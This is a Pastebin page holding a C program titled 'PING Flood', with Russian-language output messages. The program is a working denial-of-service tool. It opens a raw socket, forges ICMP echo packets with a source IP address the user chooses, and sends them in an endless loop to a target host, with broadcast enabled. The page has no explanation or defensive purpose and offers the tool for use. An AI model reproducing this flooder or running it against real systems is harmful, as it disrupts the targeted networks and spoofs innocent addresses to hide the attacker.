Advertisement
opencard

PING Flood

Jan 15th, 2024
738
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.40 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/time.h>
  5. #include <netinet/ip.h>
  6. #include <netinet/ip_icmp.h>
  7. #include <unistd.h>
  8. typedef unsigned char u8;
  9. typedef unsigned short int u16;
  10. unsigned short in_cksum(unsigned short *ptr, int nbytes);
  11. void help(const char *p);
  12. int main(int argc, char **argv)
  13. {
  14.     if (argc < 3)
  15.     {
  16.         printf("KeyViewer PING FLOOD\nИспользование: %s <Отправитель> <Получатель> [размер сообщения]\n", argv[0]);
  17.         exit(0);
  18.     }
  19.     unsigned long daddr;
  20.     unsigned long saddr;
  21.     int payload_size = 0, sent, sent_size;
  22.     saddr = inet_addr(argv[1]);
  23.     daddr = inet_addr(argv[2]);
  24.     if (argc > 3)
  25.     {
  26.         payload_size = atoi(argv[3]);
  27.     }
  28.     int sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
  29.    
  30.     if (sockfd < 0)
  31.     {
  32.         perror("Не удалось создать сокет");
  33.         return (0);
  34.     }
  35.     int on = 1;
  36.     if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, (const char*)&on, sizeof (on)) == -1)
  37.     {
  38.         perror("setsockopt");
  39.         return (0);
  40.     }
  41.     if (setsockopt (sockfd, SOL_SOCKET, SO_BROADCAST, (const char*)&on, sizeof (on)) == -1)
  42.     {
  43.         perror("setsockopt");
  44.         return (0);
  45.     }
  46.     int packet_size = sizeof (struct iphdr) + sizeof (struct icmphdr) + payload_size;
  47.     char *packet = (char *) malloc (packet_size);          
  48.     if (!packet)
  49.     {
  50.         perror("out of memory");
  51.         close(sockfd);
  52.         return (0);
  53.     }
  54.     struct iphdr *ip = (struct iphdr *) packet;
  55.     struct icmphdr *icmp = (struct icmphdr *) (packet + sizeof (struct iphdr));
  56.     memset (packet, 0, packet_size);
  57.     ip->version = 4;
  58.     ip->ihl = 5;
  59.     ip->tos = 0;
  60.     ip->tot_len = htons (packet_size);
  61.     ip->id = rand ();
  62.     ip->frag_off = 0;
  63.     ip->ttl = 255;
  64.     ip->protocol = IPPROTO_ICMP;
  65.     ip->saddr = saddr;
  66.     ip->daddr = daddr;
  67.       icmp->type = ICMP_ECHO;
  68.     icmp->code = 0;
  69.       icmp->un.echo.sequence = rand();
  70.       icmp->un.echo.id = rand();
  71.     icmp->checksum = 0;
  72.     struct sockaddr_in servaddr;
  73.     servaddr.sin_family = AF_INET;
  74.     servaddr.sin_addr.s_addr = daddr;
  75.     memset(&servaddr.sin_zero, 0, sizeof (servaddr.sin_zero));
  76.     puts("Флуд...");
  77.     while (1)
  78.     {
  79.         memset(packet + sizeof(struct iphdr) + sizeof(struct icmphdr), rand() % 255, payload_size);
  80.         icmp->checksum = 0;
  81.         icmp->checksum = in_cksum((unsigned short *)icmp, sizeof(struct icmphdr) + payload_size);
  82.         if ( (sent_size = sendto(sockfd, packet, packet_size, 0, (struct sockaddr*) &servaddr, sizeof (servaddr))) < 1)
  83.         {
  84.             perror("Ошибка отправки\n");
  85.             break;
  86.         }
  87.         ++sent;
  88.         printf("%d Пакетов отправлено\r", sent);
  89.         fflush(stdout);    
  90.         usleep(10000);
  91.     }
  92.     free(packet);
  93.     close(sockfd);
  94.     return (0);
  95. }
  96. unsigned short in_cksum(unsigned short *ptr, int nbytes)
  97. {
  98.     register long sum;
  99.     u_short oddbyte;
  100.     register u_short answer;
  101.     sum = 0;
  102.     while (nbytes > 1) {
  103.         sum += *ptr++;
  104.         nbytes -= 2;
  105.     }
  106.     if (nbytes == 1) {
  107.         oddbyte = 0;
  108.         *((u_char *) & oddbyte) = *(u_char *) ptr;
  109.         sum += oddbyte;
  110.     }
  111.     sum = (sum >> 16) + (sum & 0xffff);
  112.     sum += (sum >> 16);
  113.     answer = ~sum;
  114.     return (answer);
  115. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement